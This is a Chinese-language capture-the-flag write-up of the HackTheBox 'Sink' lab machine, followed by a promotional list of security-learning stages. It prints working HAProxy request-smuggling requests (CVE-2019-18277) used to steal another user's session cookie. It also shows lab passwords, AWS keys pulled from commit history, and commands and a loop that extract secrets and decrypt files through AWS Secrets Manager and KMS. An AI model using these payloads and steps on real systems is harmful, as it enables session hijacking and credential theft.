![](https://i-blog.csdnimg.cn/blog_migrate/e2dab5e4730e1b2aa906dbbacb50d4cd.png)
0x00 题目介绍
Sink是HackTheBox
上一道难度是insane
的Linux
靶机,做了很久HackTheBox
,第一次做insane
难度的,还是学到了很多东西的,在这里跟大家分享一下。
题目主要涉及到的知识点是:
HAProxy HTTP request smuggling (CVE-2019-18277) Git commit log AWS CLI Configure
![](https://i-blog.csdnimg.cn/blog_migrate/23724d41e6fd84eed26b915aa78d47c7.png)
0x01 Port Scan
└─# nmap -sC -sV -oA sink 10.129.71.3
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-06 00:00 CST
Nmap scan report for 10.129.71.3
Host is up (0.26s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp openssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
3000/tcp openppp?
| fingerprint-strings:
| GenericLines, Help:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=7d01b54d4b74326b; Path=/; HttpOnly
| Set-Cookie: _csrf=fzBuPyYXciKNMjoU74_PH6UmsMU6MTYyNTUwMDg1NzUxOTkyOTA4OQ; Path=/; Expires=Tue, 06 Jul 2021 16:00:57 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Mon, 05 Jul 2021 16:00:57 GMT
| HTTPOptions:
| HTTP/1.0 404 Not Found
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=5a24776cc4ce15ce; Path=/; HttpOnly
| Set-Cookie: _csrf=Naj5fDxJz0wmhymfl7zrTjDvfrI6MTYyNTUwMDg2NDgyNDg1NDY3MQ; Path=/; Expires=Tue, 06 Jul 2021 16:01:04 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Mon, 05 Jul 2021 16:01:04 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Page Not Found - Gitea: Git with a cup of tea </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
|_<meta name="description" content="Gitea (Git with a c
5000/tcp openhttpGunicorn 20.0.0
|_http-server-header: gunicorn/20.0.0
|_http-title: Sink Devops
开放的主要是3000和5000端口,3000端口为Gitea
的网站,5000端口为Gunicorn
的网站。3000端口的网站需要登录,但是我们没有掌握任何登录凭证,所以先看下5000端口网站。
0x02 Port 5000 – Gunicorn
5000端口网站可以注册账户,先尝试注册用户登录抓包看下
看到抓包中response
包含了haproxy
和gunicorn
登录后页面可以发布评论。Google
了下发现存在一个HAProxy HTTP request smuggling (CVE-2019-18277)的漏洞,通过HTTP请求走私发送构造的特定的评论请求,可以获取到其他用户发送的HTTP请求中的隐私信息。
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/8b548e906ff84cb29af923a212f4c498~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp5.ssl.qhimg.com%2Ft01d60faffdbd8b134e.png “https://p5.ssl.qhimg.com/t01d60faffdbd8b134e.png”” style=“margin: auto” />
HAProxy HTTP request smuggling (CVE-2019-18277)
HAProxy在处理request header
中的Transfer-Encoding
和Content-Length
时存在问题,如果在请求头中同时添加了Transfer-Encoding
和Content-Length
,并且在Transfer-Encoding
的chunked
字段前添加了\x0b
或者\x0c
时,HAProxy会错误的将带有Transfer-Encoding
和Content-Length
的请求发送给后端处理。此时因为后端将请求作为Transfer-Encoding
格式的请求解析,即会在检测到类似0\r\n\r\n
之后结束当前请求。
发送给HAProxy的请求:
POST / HTTP/1.1
Host: 127.0.0.1:1080
Content-Length: 6
Transfer-Encoding:[\x0b]chunked
0
X
发送给后端处理的请求:
POST / HTTP/1.1
Host: 127.0.0.1:1080
Content-Length: 6
Transfer-Encoding:chunked
X-Forwarded-For: 172.21.0.1
0
X
当然利用的前提是必须要在HAProxy配置中配置http-reuse always
,并在发送请求时在header
中配置Connection: keep-alive
。
admin cookie steal
利用上面的HAProxy HTTP request smuggling
的漏洞,如果我们在构造的恶意请求之后,其他用户也进行了请求,那我们就可以通过走私一个恶意请求,将其他用户的请求的信息拼接到走私请求之后,并存储到网站中,我们再查看这些数据,就能获取用户的请求中的隐私信息了。
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/6af898cc40a04287b66961f3664744da~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp1.ssl.qhimg.com%2Ft01d2a73c34df54a654.png “https://p1.ssl.qhimg.com/t01d2a73c34df54a654.png”” style=“margin: auto” />
我们在repeater
中构造一下请求
POST /comment HTTP/1.1
Host: 10.129.71.3:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
Origin: http://10.129.71.3:5000
Connection: keep-alive
Referer: http://10.129.71.3:5000/home
Cookie: lang=en-US; i_like_gitea=ec51054dc539d89a; session=eyJlbWFpbCI6InRlc3RAdGVzdC5jb20ifQ.YO2r8w.8rq5TXqG7LkEYJV3cqVwOBTIh7o; _csrf=cQKWFLPhRfTeyypUg38t8RbxoUY6MTYyNjE4ODM1OTEzNDc4OTczMw
Upgrade-Insecure-Requests: 1
Transfer-Encoding: Cwo=chunked
5
msg=test
0
POST /comment HTTP/1.1
Host: 10.129.71.3:5000
Cookie: lang=en-US; i_like_gitea=ec51054dc539d89a; session=eyJlbWFpbCI6InRlc3RAdGVzdC5jb20ifQ.YO2r8w.8rq5TXqG7LkEYJV3cqVwOBTIh7o; _csrf=cQKWFLPhRfTeyypUg38t8RbxoUY6MTYyNjE4ODM1OTEzNDc4OTczMw
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
Connection: keep-alive
msg=
后面这部分POST请求即为我们走私的请求,因为需要在Transfer-Encoding
的chunked
前面加\x0b
,我们先添加Cwo=
,然后在burp
中shift+ctrl+b
(base64 decode)
即可,或者直接在burp
中添加[\x0b]
也可以。发送后我们在评论处可以看到一条新的评论,包含了这个用户的cookie。
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/970d364d90324656a63d2a588d22fb52~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp5.ssl.qhimg.com%2Ft016cc77e69d8edfa82.png “https://p5.ssl.qhimg.com/t016cc77e69d8edfa82.png”” style=“margin: auto” />
Cookie editor
替换一下,即可以获得[admin@sink.htb](mailto:admin@sink.htb)
的权限。
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/7ba2d384c68b4d48b74b76eb5f8ed6fc~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp1.ssl.qhimg.com%2Ft010f231b3c1defc408.png “https://p1.ssl.qhimg.com/t010f231b3c1defc408.png”” style=“margin: auto” />
Credentials
在Notes
中可以获得三部分Credentials
:
Chef Login : http://chef.sink.htb Username : chefadm Password : /6'fEGC&zEx{4]zz
Dev Node URL : http://code.sink.htb Username : root Password : FaH@3L>Z3})zzfQ3
Nagios URL : https://nagios.sink.htb Username : nagios_adm Password : g8<H6GK\{*L.fB3C
0x03 Port 3000 – Gitea
经过尝试,发现使用root/FaH[@3L](https://github.com/3L "@3L")>Z3})zzfQ3
这个密码可以成功登录3000端口的Gitea
:
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/204842f2567d4db0968c3bf5eb1085dc~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp3.ssl.qhimg.com%2Ft016b345523c185bdce.png “https://p3.ssl.qhimg.com/t016b345523c185bdce.png”” style=“margin: auto” />
Gitea
是一个类似git
的代码托管平台,在几个主要的Repositories
里看了下,发现key management
中似乎有一些秘钥信息
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/0a4b6c223b0b4e6f91923c33d0062183~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp4.ssl.qhimg.com%2Ft0158fb5234f8e285bf.png “https://p4.ssl.qhimg.com/t0158fb5234f8e285bf.png”” style=“margin: auto” />
发现是用户marcus
提交的ssh
私钥
User -marcus
将私钥拷到本地,并修改权限为600,ssh
尝试连接marcus
用户成功
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/d1148bcab0344ec38b4e7623e8dfd63c~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp1.ssl.qhimg.com%2Ft01edad8d708bfaa817.png “https://p1.ssl.qhimg.com/t01edad8d708bfaa817.png”” style=“margin: auto” />
ls
当前目录发现user.txt
,获得第一个flag
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/5adcaee1b45345a29ea158992ad0bc1c~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp4.ssl.qhimg.com%2Ft0160b00bbd58c59f81.png “https://p4.ssl.qhimg.com/t0160b00bbd58c59f81.png”” style=“margin: auto” />
0x04 Privilege Escalation
根据Key Management
可以发现,存在一些AWS
的操作;同样在Log Management
中,发现了marcus
删除AWS
相关配置的key
和secret
的提交记录
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/eabd1a35c4774ef3a12866370c0b3398~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp4.ssl.qhimg.com%2Ft01d4e7df2711d8c578.png “https://p4.ssl.qhimg.com/t01d4e7df2711d8c578.png”” style=“margin: auto” />
顺着可以找到之前提交的配置的相关代码
<?php
require 'vendor/autoload.php';
use Aws\CloudWatchLogs\CloudWatchLogsClient;
use Aws\Exception\AwsException;
$client = new CloudWatchLogsClient(['region' => 'eu','endpoint' => 'http://127.0.0.1:4566','credentials' => ['key' => 'AKIAIUEN3QWCPSTEITJQ','secret' => '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'],'version' => 'latest'
]);
try {
$client->createLogGroup(array('logGroupName' => 'Chef_Events',
));
}
catch (AwsException $e) {echo $e->getMessage();echo "\n";
}
try {
$client->createLogStream(['logGroupName' => 'Chef_Events','logStreamName' => '20201120'
]);
}catch (AwsException $e) {echo $e->getMessage();echo "\n";
}
?>
AWS CLI Configure
Google
了一下AWS、key、secret
,发现在官方指导手册中有相关介绍,可以通过AWS
配置key
和secret
,从而访问关键隐私信息。官方指导手册如下:
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/ef9cfdb51ea1415390b7272a563ab2f3~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp4.ssl.qhimg.com%2Ft0140c0257d5b1051f2.png “https://p4.ssl.qhimg.com/t0140c0257d5b1051f2.png”” style=“margin: auto” />
我们也尝试按照官方说明配置下,只需要修改key
和secret
即可,region
代表所在区域,直接按照官方默认来设置:
marcus@sink:~$ aws configure
AWS Access Key ID [None]: AKIAIUEN3QWCPSTEITJQ
AWS Secret Access Key [None]: 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
Default region name [None]: us-west-2
Default output format [None]: json
AWS Secretsmanager
配置完成之后可以通过secretsmanager
列举保存的secrets
aws --endpoint-url="http://127.0.0.1:4566/" secretsmanager list-secrets
![](https://i-blog.csdnimg.cn/blog_migrate/ad98f84182e20a7b0002f6eabb9a7198.png)
然后根据列举出的secrets
逐个查询
aws --endpoint-url="http://127.0.0.1:4566/" secretsmanager get-secret-value --secret-id "arn:aws:secretsmanager:us-east-1:1234567890:secret:xxxxxxx<name>"
获得了以下内容
username:david@sink.htb password:EALB=bcC=`a7f2#k
username:albert@sink.htbpassword:Welcome123!
username:john@sink.htbpassword:R);\\)ShS99mZ~8j
User-david
查看/etc/passwd
和/home
路径,发现是存在david
用户的,尝试了下可以成功用密码切换到david
用户
0x05 AWS Key Management
severs.enc
david
用户目录下/home/david/Projects/Prod_Deployment
发现了一个servers.enc
文件,显然需要解密
因为目录是Gitea
项目相关的目录,猜测很可能还是需要通过AWS来解密,搜索之后发现了AWS Key Management
list-keys
同样使用david
用户先按照之前的AWS
进行配置,配置之后可以list-keys
aws --endpoint-url="http://127.0.0.1:4566/" kms list-keys
![](https://i-blog.csdnimg.cn/blog_migrate/ac67925397d5881ea120aa525f0c6fab.png)
decrypt
按照国外大神的思路进行解密操作,bash
脚本如下:
#!/binbash
for KEY in $(aws --endpoint-url="http://127.0.0.1:4566/" kms list-keys | grep KeyId | awk -F\" '{ print $4 }')
do aws --endpoint-url="http://127.0.0.1:4566/" kms enable-key --key-id "${KEY}"aws --endpoint-url="http://127.0.0.1:4566/" kms decrypt --key-id "${KEY}" --ciphertext-blob "fileb:///home/david/Projects/Prod_Deployment/servers.enc" --encryption-algorithm "RSAES_OAEP_SHA_256" --output "text" --query "Plaintext"
done
![](https://i-blog.csdnimg.cn/blog_migrate/e56bad1b7dcd38a007ca4fa6fe634fed.png)
得到了一串base64的字符串,推荐使用CyberChef
进行解密,选取自己想要的模块直接拖就行,非常方便:
base64
之后需要再gunzip
解下包,可以得到最后的秘钥:
name: admin
pass: _uezduQ!EY5AHfe2
![](https://i-blog.csdnimg.cn/blog_migrate/4352fb1c95dd7d8d36437c829b2d96b8.png)
done!
总结
总的来看,这个靶机主要涉及到了HTTP
请求走私、HAProxy HTTP request smuggling (CVE-2019-18277)
、Gitea
信息泄露、AWS CLI
配置、AWS Key Management
等知识点,以前没搞过AWS的可以通过这个靶机好好熟悉下。另外HTTP请求走私虽然利用比较苛刻,但是也算是一个可以利用的攻击方法,需要后续在深入学习下。
网络安全基础入门需要学习哪些知识?
网络安全学习路线
这是一份网络安全从零基础到进阶的学习路线大纲全览,小伙伴们记得点个收藏!
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KgsAPnTe-1676914691395)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]编辑
阶段一:基础入门
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SgvPTX4j-1676914691395)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]
网络安全导论
渗透测试基础
网络基础
操作系统基础
Web安全基础
数据库基础
编程基础
CTF基础
该阶段学完即可年薪15w+
阶段二:技术进阶(到了这一步你才算入门)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UiWuo08o-1676914691396)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]
弱口令与口令爆破
XSS漏洞
CSRF漏洞
SSRF漏洞
XXE漏洞
SQL注入
任意文件操作漏洞
业务逻辑漏洞
该阶段学完年薪25w+
阶段三:高阶提升
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YYO1O6O5-1676914691397)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]
反序列化漏洞
RCE
综合靶场实操项目
内网渗透
流量分析
日志分析
恶意代码分析
应急响应
实战训练
该阶段学完即可年薪30w+
阶段四:蓝队课程
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aPA4FCo2-1676914691398)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]
蓝队基础
蓝队进阶
该部分主攻蓝队的防御,即更容易被大家理解的网络安全工程师。
攻防兼备,年薪收入可以达到40w+
阶段五:面试指南&阶段六:升级内容
需要上述路线图对应的网络安全配套视频、源码以及更多网络安全相关书籍&面试题等内容